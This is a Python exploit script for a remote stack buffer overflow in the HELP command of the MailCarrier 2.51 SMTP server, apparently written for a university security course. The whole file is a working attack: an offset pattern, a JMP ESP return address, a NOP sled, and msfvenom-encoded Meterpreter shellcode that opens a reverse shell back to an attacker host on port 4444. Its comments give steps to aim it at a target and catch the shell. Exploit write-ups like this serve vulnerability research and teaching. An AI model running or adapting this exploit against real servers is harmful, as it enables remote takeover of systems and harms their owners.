MailCarrier 2.51 HELP Remote Buffer Overflow Exploit

#!/usr/bin/python
# Exploit Title: MailCarrier 2.51 - Remote Buffer Overflow in "HELP" command(SMTP)
# Exploit Author: Vinaykumar Yennam and Dheepshika Raghunathan 
# Vendor Homepage: https://www.tabslab.com/
# Version: 2.51
# Software Link: N.A
# Tested on: Windows XP Prof SP3 ENG x86
# CVE: TBC from Mitre
# Created for the ENPM697 Project
# POC
# 1.) Change ip and port in code
# 2.) Run script against target, set up a listener and meterpreter reverse shell will connect to your machine.

import socket
import sys

host = "192.168.241.135"
port = 25



pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy"

junk1 = "A" * 5091

EIP = "\x18\x35\xe1\x4d" #JMP ESP in msoda15.dll


#msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.241.132 LPORT=4444 -e x86/alpha_mixed -b "\x00\xd5\x0a\x0d\x1a\x03" -f c
shellcode = ("\x89\xe3\xd9\xee\xd9\x73\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x6b"
"\x4c\x59\x78\x4b\x32\x63\x30\x75\x50\x45\x50\x65\x30\x4f\x79"
"\x4b\x55\x34\x71\x59\x50\x35\x34\x4e\x6b\x36\x30\x54\x70\x6c"
"\x4b\x61\x42\x36\x6c\x6e\x6b\x33\x62\x74\x54\x4c\x4b\x63\x42"
"\x55\x78\x76\x6f\x4d\x67\x70\x4a\x74\x66\x44\x71\x39\x6f\x6e"
"\x4c\x47\x4c\x63\x51\x31\x6c\x64\x42\x54\x6c\x51\x30\x7a\x61"
"\x6a\x6f\x74\x4d\x56\x61\x39\x57\x6d\x32\x4c\x32\x52\x72\x70"
"\x57\x6e\x6b\x56\x32\x46\x70\x4c\x4b\x42\x6a\x65\x6c\x4e\x6b"
"\x50\x4c\x76\x71\x73\x48\x6a\x43\x73\x78\x45\x51\x68\x51\x43"
"\x61\x4c\x4b\x61\x49\x51\x30\x56\x61\x38\x53\x6c\x4b\x33\x79"
"\x32\x38\x4b\x53\x34\x7a\x70\x49\x6c\x4b\x75\x64\x6e\x6b\x53"
"\x31\x38\x56\x65\x61\x4b\x4f\x4c\x6c\x49\x51\x4a\x6f\x56\x6d"
"\x47\x71\x5a\x67\x46\x58\x39\x70\x70\x75\x39\x66\x57\x73\x51"
"\x6d\x6c\x38\x45\x6b\x51\x6d\x45\x74\x71\x65\x79\x74\x66\x38"
"\x6e\x6b\x43\x68\x37\x54\x75\x51\x5a\x73\x50\x66\x6c\x4b\x36"
"\x6c\x42\x6b\x6e\x6b\x72\x78\x45\x4c\x67\x71\x59\x43\x4e\x6b"
"\x55\x54\x6e\x6b\x55\x51\x5a\x70\x6d\x59\x77\x34\x31\x34\x45"
"\x74\x73\x6b\x33\x6b\x61\x71\x61\x49\x43\x6a\x72\x71\x59\x6f"
"\x79\x70\x43\x6f\x63\x6f\x61\x4a\x4e\x6b\x77\x62\x7a\x4b\x6c"
"\x4d\x51\x4d\x50\x68\x75\x63\x56\x52\x75\x50\x33\x30\x43\x58"
"\x42\x57\x52\x53\x44\x72\x43\x6f\x43\x64\x30\x68\x52\x6c\x54"
"\x37\x66\x46\x43\x37\x6c\x49\x6d\x38\x4b\x4f\x38\x50\x4d\x68"
"\x6e\x70\x76\x61\x63\x30\x55\x50\x71\x39\x68\x44\x63\x64\x52"
"\x70\x42\x48\x46\x49\x4d\x50\x30\x6b\x55\x50\x49\x6f\x4b\x65"
"\x52\x4a\x56\x6a\x63\x58\x69\x50\x4c\x68\x48\x71\x4d\x54\x33"
"\x58\x45\x52\x33\x30\x32\x31\x71\x4c\x4c\x49\x79\x76\x52\x70"
"\x66\x30\x56\x30\x62\x70\x43\x70\x72\x70\x63\x70\x66\x30\x70"
"\x68\x7a\x4a\x74\x4f\x69\x4f\x6d\x30\x49\x6f\x68\x55\x4a\x37"
"\x30\x6a\x72\x30\x70\x56\x61\x47\x45\x38\x6a\x39\x6e\x45\x33"
"\x44\x33\x51\x59\x6f\x7a\x75\x4d\x55\x4b\x70\x33\x44\x37\x7a"
"\x49\x6f\x72\x6e\x45\x58\x70\x75\x78\x6c\x59\x78\x53\x57\x45"
"\x50\x63\x30\x73\x30\x73\x5a\x33\x30\x30\x6a\x76\x64\x52\x76"
"\x73\x67\x62\x48\x44\x42\x4b\x69\x68\x48\x71\x4f\x69\x6f\x39"
"\x45\x6d\x53\x4c\x38\x53\x30\x61\x6e\x70\x36\x6e\x6b\x47\x46"
"\x63\x5a\x67\x30\x71\x78\x43\x30\x36\x70\x63\x30\x75\x50\x56"
"\x36\x43\x5a\x33\x30\x30\x68\x42\x78\x6c\x64\x62\x73\x6a\x45"
"\x79\x6f\x58\x55\x4c\x53\x56\x33\x43\x5a\x67\x70\x70\x56\x36"
"\x33\x51\x47\x62\x48\x65\x52\x4e\x39\x69\x58\x73\x6f\x69\x6f"
"\x79\x45\x6c\x43\x49\x68\x33\x30\x51\x6d\x34\x68\x36\x38\x75"
"\x38\x55\x50\x61\x50\x43\x30\x47\x70\x52\x4a\x45\x50\x66\x30"
"\x63\x58\x64\x4b\x54\x6f\x34\x4f\x34\x70\x59\x6f\x68\x55\x46"
"\x37\x63\x58\x30\x75\x32\x4e\x30\x4d\x65\x31\x59\x6f\x6e\x35"
"\x53\x6e\x63\x6e\x69\x6f\x76\x6c\x67\x54\x74\x4f\x6f\x75\x72"
"\x50\x6b\x4f\x79\x6f\x69\x6f\x7a\x49\x6d\x4b\x6b\x4f\x39\x6f"
"\x49\x6f\x65\x51\x6f\x33\x47\x59\x4b\x76\x53\x45\x6b\x71\x4a"
"\x63\x6f\x4b\x6c\x30\x6c\x75\x69\x32\x46\x36\x61\x7a\x57\x70"
"\x32\x73\x59\x6f\x7a\x75\x41\x41")

nops = "\x90"*20

#junk1 depends on the length of path of the executable. Modify 5091 in junk1 accordingly.
#Alternatively, you can use pattern to calculate the offset
#evil_buffer = "HELP " + pattern + "\r\n"

evil_buffer = "HELP " + junk1 + EIP + nops + shellcode + "\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


try:
  sock.connect((host,port))
  print ("Sending evil buffer to target machine.")
  sock.send(evil_buffer)
  print("Evil buffer sent. Check for reverse shell.")
  print("Exploit by hashs3v3n!")
  sock.close()

except:
  print("Error in socket!")